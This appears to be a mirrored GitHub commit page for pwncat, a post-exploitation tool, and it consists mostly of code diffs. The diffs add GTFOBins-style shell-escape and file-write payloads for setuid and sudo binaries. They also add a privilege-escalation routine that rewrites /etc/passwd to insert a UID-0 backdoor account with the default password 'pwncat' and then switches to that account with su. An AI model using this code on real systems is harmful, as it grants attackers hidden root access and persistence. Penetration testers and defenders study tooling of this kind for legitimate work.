1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Working /etc/passwd overwrite to root.

This commit is contained in:
Caleb Stewart 2020-05-09 21:38:24 -04:00
parent 2d65544b77
commit b21761ff6f
6 changed files with 279 additions and 53 deletions

View File

@ -1,4 +1,8 @@
[
{
"name": "cat",
"read_file": "{path} {lfile}"
},
{
"name": "bash",
"shell": {
@ -35,15 +39,6 @@
"need": ["--on-download-error=$TF","http://x"]
}
},
{
"name": "cat",
"read_file": "{path} {lfile}"
},
{
"name": "arp",
"read_file": "{path} -v -f {lfile} 2>&1 | while read line; do substring=\"\"; if ! test \"${{line#*arp}}\" != \"$line\"; then echo ${{line#>> }}; fi; done",
"safe":false
},
{
"name": "ash",
"shell": {
@ -60,23 +55,20 @@
{
"name": "awk",
"shell": {
"script": "{command} 'BEGIN {{system(\"/bin/sh\")}}'"
"script": "{command} 'BEGIN {{system(\"{shell} -p\")}}'"
},
"read_file": "{path} '//' {lfile}",
"write_file": {
"type": "base64",
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ \"echo \\\"{data}\\\" | base64 -d\" | getline x ; print x > LFILE }}'"
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
}
},
{
"name": "gawk",
"shell": {
"script": "{command} 'BEGIN {{system(\"/bin/sh\")}}'"
},
"read_file": "{path} '//' {lfile}",
"write_file": {
"type": "base64",
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ \"echo \\\"{data}\\\" | base64 -d\" | getline x ; print x > LFILE }}'"
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
}
},
{

View File

@ -67,11 +67,7 @@ class Binary:
exit = "exit"
input = ""
else:
script = (
self.data["shell"]
.get("script", "{command}")
.format(shell=shell_path, command="{command}")
)
script = self.data["shell"].get("script", "{command}")
suid_args = self.data["shell"].get("suid", [])
args = [
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
@ -92,7 +88,7 @@ class Binary:
command = sudo_prefix + " " + command
return (
script.format(command=command),
script.format(command=command, shell=shell_path),
input.format(shell=shlex.quote(shell_path)),
exit,
)
@ -317,15 +313,9 @@ class Binary:
continue
binary = Binary(path, data)
if not binary.is_safe == safe:
if not binary.is_safe and safe:
continue
if not binary.has_read and (capability & Capability.READ):
continue
if not binary.has_write and (capability & Capability.WRITE):
continue
if not binary.has_sudo and (capability & Capability.SUDO):
continue
if not binary.has_shell and (capability & Capability.SHELL):
if (binary.capabilities & capability) == 0:
continue
return binary

View File

@ -1,13 +1,15 @@
#!/usr/bin/env python3
from typing import Type, List, Tuple
import crypt
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
from pwncat.privesc.setuid import SetuidMethod
from pwncat.privesc.sudo import SudoMethod
from pwncat import gtfobins
# privesc_methods = [SetuidMethod, SuMethod]
privesc_methods = [SudoMethod, SetuidMethod, SuMethod]
privesc_methods = [SuMethod, SudoMethod, SetuidMethod]
class Finder:
@ -17,11 +19,22 @@ class Finder:
found. If `user` is not provided, depth is forced to `1`, and all methods
to privesc to that user are returned. """
def __init__(self, pty: "pwncat.pty.PtyHandler"):
DEFAULT_BACKDOOR_NAME = "pwncat"
DEFAULT_BACKDOOR_PASS = "pwncat"
def __init__(
self,
pty: "pwncat.pty.PtyHandler",
backdoor_user: str = None,
backdoor_password: str = None,
):
""" Create a new privesc finder """
self.pty = pty
# A user we added which has UID=0 privileges
self.backdoor_user = None
self.backdoor_user_name = backdoor_user
self.backdoor_password = backdoor_password
self.methods: List[Method] = []
for m in privesc_methods:
try:
@ -30,6 +43,15 @@ class Finder:
except PrivescError:
pass
if backdoor_user is None:
self.backdoor_user_name = Finder.DEFAULT_BACKDOOR_NAME
if backdoor_password is None:
self.backdoor_password = Finder.DEFAULT_BACKDOOR_PASS
if self.backdoor_user_name in self.pty.users:
self.pty.users[self.backdoor_user_name]["password"] = self.backdoor_password
self.backdoor_user = self.pty.users[self.backdoor_user_name]
def search(self, target_user: str = None) -> List[Technique]:
""" Search for privesc techniques for the current user to get to the
target user. If target_user is not specified, all techniques for all
@ -49,6 +71,80 @@ class Finder:
return techniques
def write_file(
self,
filename: str,
data: bytes,
safe: bool = True,
target_user: str = None,
depth: int = None,
chain: List[Technique] = [],
starting_user=None,
):
if target_user is None:
target_user = "root"
current_user = self.pty.current_user
if (
target_user == current_user["name"]
or current_user["uid"] == 0
or current_user["name"] == "root"
):
binary = gtfobins.Binary.find_capability(
self.pty.which, Capability.WRITE, safe=safe
)
if binary is None:
raise PrivescError("no binaries to write with")
return self.pty.subprocess(binary.write_file(filename, data)), chain
if starting_user is None:
starting_user = current_user
if depth is not None and len(chain) > depth:
raise PrivescError("max depth reached")
# Enumerate escalation options for this user
techniques = []
for method in self.methods:
try:
found_techniques = method.enumerate(capability=Capability.ALL)
for tech in found_techniques:
if tech.user == target_user and (
tech.capabilities & Capability.WRITE
):
try:
tech.method.write_file(filename, data, tech)
return chain
except PrivescError as e:
pass
techniques.extend(found_techniques)
except PrivescError:
pass
# We can't escalate directly to the target to read a file. So, try recursively
# against other users.
for tech in techniques:
if tech.user == target_user:
continue
try:
exit_command = self.escalate_single(tech)
chain.append((tech, exit_command))
except PrivescError:
continue
try:
return self.write_file(
filename, data, safe, target_user, depth, chain, starting_user
)
except PrivescError:
tech, exit_command = chain[-1]
self.pty.run(exit_command, wait=False)
chain.pop()
raise PrivescError(f"no route to {target_user} found")
def read_file(
self,
filename: str,
@ -85,7 +181,6 @@ class Finder:
try:
found_techniques = method.enumerate(capability=Capability.ALL)
for tech in found_techniques:
if tech.user == target_user and (
tech.capabilities & Capability.READ
):
@ -121,8 +216,70 @@ class Finder:
raise PrivescError(f"no route to {target_user} found")
def escalate_single(self, technique: Technique) -> str:
self.pty.run("echo") # restabilize shell
return technique.method.execute(tech)
if (technique.capabilities & Capability.SHELL) > 0:
try:
# Attempt our basic, known technique
return technique.method.execute(technique)
except PrivescError:
pass
# We can't privilege escalate with this technique, but we may be able
# to add a user via file write.
if (technique.capabilities & Capability.WRITE) == 0 or technique.user != "root":
raise PrivescError("privesc failed")
# We need su to privesc w/ file write
if self.pty.which("su") is None:
raise PrivescError("privesc failed")
# Read the current content of /etc/passwd
reader = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
if reader is None:
print("\nNo reader found")
raise PrivescError("no file reader found")
payload = reader.read_file("/etc/passwd")
# Read the file
passwd = self.pty.subprocess(reader.read_file("/etc/passwd"))
data = passwd.read()
passwd.close()
# Split up the file by lines
data = data.decode("utf-8").strip()
data = data.split("\n")
# Add a new user
password = crypt.crypt(self.backdoor_password)
user = self.backdoor_user_name
data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}")
# Join the data back and encode it
data = ("\n".join(data) + "\n").encode("utf-8")
# Write the data
technique.method.write_file("/etc/passwd", data, technique)
# Maybe help?
self.pty.run("echo")
# Check that it succeeded
users = self.pty.reload_users()
# Check if the new passwd file contained the file
if user not in users:
raise PrivescError("privesc failed")
self.pty.users[user]["password"] = password
self.backdoor_user = self.pty.users[user]
# Switch to the new user
self.pty.process(f"su {user}", delim=False)
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
self.pty.run("echo")
return "exit"
def escalate(
self,
@ -137,6 +294,9 @@ class Finder:
if target_user is None:
target_user = "root"
if target_user == "root" and self.backdoor_user:
target_user = self.backdoor_user["name"]
current_user = self.pty.current_user
if (
target_user == current_user["name"]
@ -156,12 +316,14 @@ class Finder:
for method in self.methods:
try:
found_techniques = method.enumerate(
capability=Capability.SHELL | Capability.SUDO
capability=Capability.SHELL | Capability.SUDO | Capability.WRITE
)
for tech in found_techniques:
if tech.user == target_user:
try:
exit_command = tech.method.execute(tech)
exit_command = self.escalate_single(
tech
) # tech.method.execute(tech)
chain.append((tech, exit_command))
self.pty.reset()
self.pty.do_back([])
@ -178,7 +340,7 @@ class Finder:
if tech.user == target_user:
continue
try:
exit_command = tech.method.execute(tech)
exit_command = self.escalate_single(tech) # tech.method.execute(tech)
chain.append((tech, exit_command))
except PrivescError:
continue

View File

@ -7,6 +7,7 @@ import socket
import os
from pwncat import util
from pwncat.file import RemoteBinaryPipe
from enum import Enum
@ -64,6 +65,15 @@ class Method:
Raise a PrivescError if there was a problem. """
raise NotImplementedError("no execute method implemented")
def read_file(self, filename: str, technique: Technique) -> RemoteBinaryPipe:
""" Execute a read_file action with the given technique and return a
remote file pipe which will yield the file contents. """
raise NotImplementedError("no read_file implementation")
def write_file(self, filename: str, data: bytes, technique: Technique):
""" Execute a write_file action with the given technique. """
raise NotImplementedError("no write_file implementation")
def get_name(self, tech: Technique):
return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.RED}{self}{Fore.RED}"
@ -85,9 +95,16 @@ class SuMethod(Method):
if user == current_user:
continue
if info.get("password") is not None:
result.append(Technique(user=user, method=self, ident=info["password"]))
result.append(
Technique(
user=user,
method=self,
ident=info["password"],
capabilities=Capability.SHELL,
)
)
return []
return result
def execute(self, technique: Technique):
@ -96,25 +113,34 @@ class SuMethod(Method):
# Read the echo
if self.pty.has_echo:
self.pty.client.recvuntil("\n")
self.pty.recvuntil("\n")
# Send the password
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
# Read the echo
if self.pty.has_echo:
self.pty.client.recvuntil("\n")
self.pty.recvuntil("\n")
# Read the response (either "Authentication failed" or "good")
result = self.pty.client.recvuntil("\n")
if b"failure" in result.lower() or "good" not in result.lower():
result = self.pty.recvuntil("\n")
if b"failure" in result.lower() or b"good" not in result.lower():
raise PrivescError(f"{technique.user}: invalid password")
self.pty.run(f"su {technique.user}", wait=False)
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
if self.pty.whoami() != technique.user:
user = self.pty.whoami()
if (
technique.user == self.pty.privesc.backdoor_user["name"] and user != "root"
) or (
technique.user != self.pty.privesc.backdoor_user["name"]
and user != technique.user
):
raise PrivescError(f"{technique} failed (still {self.pty.whoami()})")
return "exit"
def get_name(self, tech: Technique):
return f"{Fore.GREEN}{tech.name}{Fore.RESET} via {Fore.RED}known password{Fore.RESET}"
return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.RED}known password{Fore.RESET}"

View File

@ -112,10 +112,16 @@ class SetuidMethod(Method):
binary = technique.ident
read_payload = binary.read_file(filepath)
# read_pipe = self.pty.subprocess(read_payload)
read_pipe = io.BytesIO(self.pty.run(read_payload))
read_pipe = self.pty.subprocess(read_payload)
return read_pipe
def write_file(self, filepath: str, data: bytes, technique: Technique):
binary = technique.ident
payload = binary.write_file(filepath, data)
self.pty.run(payload)
def get_name(self, tech: Technique):
return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.CYAN}{tech.ident.path}{Fore.RESET} ({Fore.RED}setuid{Fore.RESET})"

View File

@ -518,8 +518,8 @@ class PtyHandler:
help="the target user",
)
parser.add_argument(
"--depth",
"-d",
"--max-depth",
"-m",
type=int,
default=None,
help="Maximum depth for the privesc search (default: no maximum)",
@ -531,6 +531,27 @@ class PtyHandler:
default=None,
help="remote filename to try and read",
)
parser.add_argument(
"--write",
"-w",
type=str,
default=None,
help="attempt to write to a remote file as the specified user",
)
parser.add_argument(
"--data",
"-d",
type=str,
default=None,
help="the data to write a file. ignored if not write mode",
)
parser.add_argument(
"--text",
"-t",
action="store_true",
default=False,
help="whether to use safe readers/writers",
)
try:
args = parser.parse_args(argv)
@ -544,22 +565,46 @@ class PtyHandler:
util.warn("no techniques found")
else:
for tech in techniques:
util.info(f"escalation to {tech}")
util.info(f" - {tech}")
elif args.read:
try:
read_pipe, chain = self.privesc.read_file(
args.read, args.user, args.depth
args.read, args.user, args.max_depth
)
# Read the data from the pipe
sys.stdout.buffer.write(read_pipe.read(4096))
read_pipe.close()
# Unwrap in case we had to privesc to get here
self.privesc.unwrap(chain)
except privesc.PrivescError as exc:
util.error(f"read file failed: {exc}")
elif args.write:
if args.data is None:
util.error("no data specified")
else:
if args.data.startswith("@"):
with open(args.data[1:], "rb") as f:
data = f.read()
else:
data = args.data.encode("utf-8")
try:
chain = self.privesc.write_file(
args.write,
data,
safe=not args.text,
target_user=args.user,
depth=args.max_depth,
)
self.privesc.unwrap(chain)
util.success("file written successfully!")
except privesc.PrivescError as exc:
util.error(f"file write failed: {exc}")
else:
try:
self.privesc.escalate(args.user, args.depth)
self.privesc.escalate(args.user, args.max_depth)
except privesc.PrivescError as exc:
util.error(f"escalation failed: {exc}")
@ -918,6 +963,11 @@ class PtyHandler:
result = self.run("whoami")
return result.strip().decode("utf-8")
def reload_users(self):
""" Clear user cache and reload it """
self.known_users = None
return self.users
@property
def users(self):
if self.known_users: